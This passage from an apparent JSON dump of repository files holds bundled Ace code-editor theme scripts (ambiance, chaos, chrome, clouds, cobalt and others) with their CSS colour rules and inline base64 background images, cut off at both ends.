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\\\");}.ace-ambiance .ace_indent-guide {background: url(\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNQUFD4z6Crq/sfAAuYAuYl+7lfAAAAAElFTkSuQmCC\\\") right repeat-y;}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-chaos.js",
    "content": "ace.define(\"ace/theme/chaos\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-chaos\",t.cssText=\".ace-chaos .ace_gutter {background: #141414;color: #595959;border-right: 1px solid #282828;}.ace-chaos .ace_gutter-cell.ace_warning {background-image: none;background: #FC0;border-left: none;padding-left: 0;color: #000;}.ace-chaos .ace_gutter-cell.ace_error {background-position: -6px center;background-image: none;background: #F10;border-left: none;padding-left: 0;color: #000;}.ace-chaos .ace_print-margin {border-left: 1px solid #555;right: 0;background: #1D1D1D;}.ace-chaos {background-color: #161616;color: #E6E1DC;}.ace-chaos .ace_cursor {border-left: 2px solid #FFFFFF;}.ace-chaos .ace_cursor.ace_overwrite {border-left: 0px;border-bottom: 1px solid #FFFFFF;}.ace-chaos .ace_marker-layer .ace_selection {background: #494836;}.ace-chaos .ace_marker-layer .ace_step {background: rgb(198, 219, 174);}.ace-chaos .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #FCE94F;}.ace-chaos .ace_marker-layer .ace_active-line {background: #333;}.ace-chaos .ace_gutter-active-line {background-color: #222;}.ace-chaos .ace_invisible {color: #404040;}.ace-chaos .ace_keyword {color:#00698F;}.ace-chaos .ace_keyword.ace_operator {color:#FF308F;}.ace-chaos .ace_constant {color:#1EDAFB;}.ace-chaos .ace_constant.ace_language {color:#FDC251;}.ace-chaos .ace_constant.ace_library {color:#8DFF0A;}.ace-chaos .ace_constant.ace_numeric {color:#58C554;}.ace-chaos .ace_invalid {color:#FFFFFF;background-color:#990000;}.ace-chaos .ace_invalid.ace_deprecated {color:#FFFFFF;background-color:#990000;}.ace-chaos .ace_support {color: #999;}.ace-chaos .ace_support.ace_function {color:#00AEEF;}.ace-chaos .ace_function {color:#00AEEF;}.ace-chaos .ace_string {color:#58C554;}.ace-chaos .ace_comment {color:#555;font-style:italic;padding-bottom: 0px;}.ace-chaos .ace_variable {color:#997744;}.ace-chaos .ace_meta.ace_tag {color:#BE53E6;}.ace-chaos .ace_entity.ace_other.ace_attribute-name {color:#FFFF89;}.ace-chaos .ace_markup.ace_underline {text-decoration: underline;}.ace-chaos .ace_fold-widget {text-align: center;}.ace-chaos .ace_fold-widget:hover {color: #777;}.ace-chaos .ace_fold-widget.ace_start,.ace-chaos .ace_fold-widget.ace_end,.ace-chaos .ace_fold-widget.ace_closed{background: none;border: none;box-shadow: none;}.ace-chaos .ace_fold-widget.ace_start:after {content: '\\u25be'}.ace-chaos .ace_fold-widget.ace_end:after {content: '\\u25b4'}.ace-chaos .ace_fold-widget.ace_closed:after {content: '\\u2023'}.ace-chaos .ace_indent-guide {border-right:1px dotted #333;margin-right:-1px;}.ace-chaos .ace_fold { background: #222; border-radius: 3px; color: #7AF; border: none; }.ace-chaos .ace_fold:hover {background: #CCC; color: #000;}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-chrome.js",
    "content": "ace.define(\"ace/theme/chrome\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-chrome\",t.cssText='.ace-chrome .ace_gutter {background: #ebebeb;color: #333;overflow : hidden;}.ace-chrome .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-chrome {background-color: #FFFFFF;color: black;}.ace-chrome .ace_cursor {color: black;}.ace-chrome .ace_invisible {color: rgb(191, 191, 191);}.ace-chrome .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-chrome .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-chrome .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-chrome .ace_invalid {background-color: rgb(153, 0, 0);color: white;}.ace-chrome .ace_fold {}.ace-chrome .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-chrome .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-chrome .ace_support.ace_type,.ace-chrome .ace_support.ace_class.ace-chrome .ace_support.ace_other {color: rgb(109, 121, 222);}.ace-chrome .ace_variable.ace_parameter {font-style:italic;color:#FD971F;}.ace-chrome .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-chrome .ace_comment {color: #236e24;}.ace-chrome .ace_comment.ace_doc {color: #236e24;}.ace-chrome .ace_comment.ace_doc.ace_tag {color: #236e24;}.ace-chrome .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-chrome .ace_variable {color: rgb(49, 132, 149);}.ace-chrome .ace_xml-pe {color: rgb(104, 104, 91);}.ace-chrome .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-chrome .ace_heading {color: rgb(12, 7, 255);}.ace-chrome .ace_list {color:rgb(185, 6, 144);}.ace-chrome .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-chrome .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-chrome .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-chrome .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-chrome .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-chrome .ace_gutter-active-line {background-color : #dcdcdc;}.ace-chrome .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-chrome .ace_storage,.ace-chrome .ace_keyword,.ace-chrome .ace_meta.ace_tag {color: rgb(147, 15, 128);}.ace-chrome .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-chrome .ace_string {color: #1A1AA6;}.ace-chrome .ace_entity.ace_other.ace_attribute-name {color: #994409;}.ace-chrome .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-clouds.js",
    "content": "ace.define(\"ace/theme/clouds\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-clouds\",t.cssText='.ace-clouds .ace_gutter {background: #ebebeb;color: #333}.ace-clouds .ace_print-margin {width: 1px;background: #e8e8e8}.ace-clouds {background-color: #FFFFFF;color: #000000}.ace-clouds .ace_cursor {color: #000000}.ace-clouds .ace_marker-layer .ace_selection {background: #BDD5FC}.ace-clouds.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #FFFFFF;}.ace-clouds .ace_marker-layer .ace_step {background: rgb(255, 255, 0)}.ace-clouds .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #BFBFBF}.ace-clouds .ace_marker-layer .ace_active-line {background: #FFFBD1}.ace-clouds .ace_gutter-active-line {background-color : #dcdcdc}.ace-clouds .ace_marker-layer .ace_selected-word {border: 1px solid #BDD5FC}.ace-clouds .ace_invisible {color: #BFBFBF}.ace-clouds .ace_keyword,.ace-clouds .ace_meta,.ace-clouds .ace_support.ace_constant.ace_property-value {color: #AF956F}.ace-clouds .ace_keyword.ace_operator {color: #484848}.ace-clouds .ace_keyword.ace_other.ace_unit {color: #96DC5F}.ace-clouds .ace_constant.ace_language {color: #39946A}.ace-clouds .ace_constant.ace_numeric {color: #46A609}.ace-clouds .ace_constant.ace_character.ace_entity {color: #BF78CC}.ace-clouds .ace_invalid {background-color: #FF002A}.ace-clouds .ace_fold {background-color: #AF956F;border-color: #000000}.ace-clouds .ace_storage,.ace-clouds .ace_support.ace_class,.ace-clouds .ace_support.ace_function,.ace-clouds .ace_support.ace_other,.ace-clouds .ace_support.ace_type {color: #C52727}.ace-clouds .ace_string {color: #5D90CD}.ace-clouds .ace_comment {color: #BCC8BA}.ace-clouds .ace_entity.ace_name.ace_tag,.ace-clouds .ace_entity.ace_other.ace_attribute-name {color: #606060}.ace-clouds .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-clouds_midnight.js",
    "content": "ace.define(\"ace/theme/clouds_midnight\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-clouds-midnight\",t.cssText=\".ace-clouds-midnight .ace_gutter {background: #232323;color: #929292}.ace-clouds-midnight .ace_print-margin {width: 1px;background: #232323}.ace-clouds-midnight {background-color: #191919;color: #929292}.ace-clouds-midnight .ace_cursor {color: #7DA5DC}.ace-clouds-midnight .ace_marker-layer .ace_selection {background: #000000}.ace-clouds-midnight.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #191919;}.ace-clouds-midnight .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-clouds-midnight .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #BFBFBF}.ace-clouds-midnight .ace_marker-layer .ace_active-line {background: rgba(215, 215, 215, 0.031)}.ace-clouds-midnight .ace_gutter-active-line {background-color: rgba(215, 215, 215, 0.031)}.ace-clouds-midnight .ace_marker-layer .ace_selected-word {border: 1px solid #000000}.ace-clouds-midnight .ace_invisible {color: #666}.ace-clouds-midnight .ace_keyword,.ace-clouds-midnight .ace_meta,.ace-clouds-midnight .ace_support.ace_constant.ace_property-value {color: #927C5D}.ace-clouds-midnight .ace_keyword.ace_operator {color: #4B4B4B}.ace-clouds-midnight .ace_keyword.ace_other.ace_unit {color: #366F1A}.ace-clouds-midnight .ace_constant.ace_language {color: #39946A}.ace-clouds-midnight .ace_constant.ace_numeric {color: #46A609}.ace-clouds-midnight .ace_constant.ace_character.ace_entity {color: #A165AC}.ace-clouds-midnight .ace_invalid {color: #FFFFFF;background-color: #E92E2E}.ace-clouds-midnight .ace_fold {background-color: #927C5D;border-color: #929292}.ace-clouds-midnight .ace_storage,.ace-clouds-midnight .ace_support.ace_class,.ace-clouds-midnight .ace_support.ace_function,.ace-clouds-midnight .ace_support.ace_other,.ace-clouds-midnight .ace_support.ace_type {color: #E92E2E}.ace-clouds-midnight .ace_string {color: #5D90CD}.ace-clouds-midnight .ace_comment {color: #3C403B}.ace-clouds-midnight .ace_entity.ace_name.ace_tag,.ace-clouds-midnight .ace_entity.ace_other.ace_attribute-name {color: #606060}.ace-clouds-midnight .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYHB3d/8PAAOIAdULw8qMAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-cobalt.js",
    "content": "ace.define(\"ace/theme/cobalt\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-cobalt\",t.cssText=\".ace-cobalt .ace_gutter {background: #011e3a;color: rgb(128,145,160)}.ace-cobalt .ace_print-margin {width: 1px;background: #555555}.ace-cobalt {background-color: #002240;color: #FFFFFF}.ace-cobalt .ace_cursor {color: #FFFFFF}.ace-cobalt .ace_marker-layer .ace_selection {background: rgba(179, 101, 57, 0.75)}.ace-cobalt.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #002240;}.ace-cobalt .ace_marker-layer .ace_step {background: rgb(127, 111, 19)}.ace-cobalt .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(255, 255, 255, 0.15)}.ace-cobalt .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.35)}.ace-cobalt .ace_gutter-active-line {background-color: rgba(0, 0, 0, 0.35)}.ace-cobalt .ace_marker-layer .ace_selected-word {border: 1px solid rgba(179, 101, 57, 0.75)}.ace-cobalt .ace_invisible {color: rgba(255, 255, 255, 0.15)}.ace-cobalt .ace_keyword,.ace-cobalt .ace_meta {color: #FF9D00}.ace-cobalt .ace_constant,.ace-cobalt .ace_constant.ace_character,.ace-cobalt .ace_constant.ace_character.ace_escape,.ace-cobalt .ace_constant.ace_other {color: #FF628C}.ace-cobalt .ace_invalid {color: #F8F8F8;background-color: #800F00}.ace-cobalt .ace_support {color: #80FFBB}.ace-cobalt .ace_support.ace_constant {color: #EB939A}.ace-cobalt .ace_fold {background-color: #FF9D00;border-color: #FFFFFF}.ace-cobalt .ace_support.ace_function {color: #FFB054}.ace-cobalt .ace_storage {color: #FFEE80}.ace-cobalt .ace_entity {color: #FFDD00}.ace-cobalt .ace_string {color: #3AD900}.ace-cobalt .ace_string.ace_regexp {color: #80FFC2}.ace-cobalt .ace_comment {font-style: italic;color: #0088FF}.ace-cobalt .ace_heading,.ace-cobalt .ace_markup.ace_heading {color: #C8E4FD;background-color: #001221}.ace-cobalt .ace_list,.ace-cobalt .ace_markup.ace_list {background-color: #130D26}.ace-cobalt .ace_variable {color: #CCCCCC}.ace-cobalt .ace_variable.ace_language {color: #FF80E1}.ace-cobalt .ace_meta.ace_tag {color: #9EFFFF}.ace-cobalt .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYHCLSvkPAAP3AgSDTRd4AAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-crimson_editor.js",
    "content": "ace.define(\"ace/theme/crimson_editor\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssText='.ace-crimson-editor .ace_gutter {background: #ebebeb;color: #333;overflow : hidden;}.ace-crimson-editor .ace_gutter-layer {width: 100%;text-align: right;}.ace-crimson-editor .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-crimson-editor {background-color: #FFFFFF;color: rgb(64, 64, 64);}.ace-crimson-editor .ace_cursor {color: black;}.ace-crimson-editor .ace_invisible {color: rgb(191, 191, 191);}.ace-crimson-editor .ace_identifier {color: black;}.ace-crimson-editor .ace_keyword {color: blue;}.ace-crimson-editor .ace_constant.ace_buildin {color: 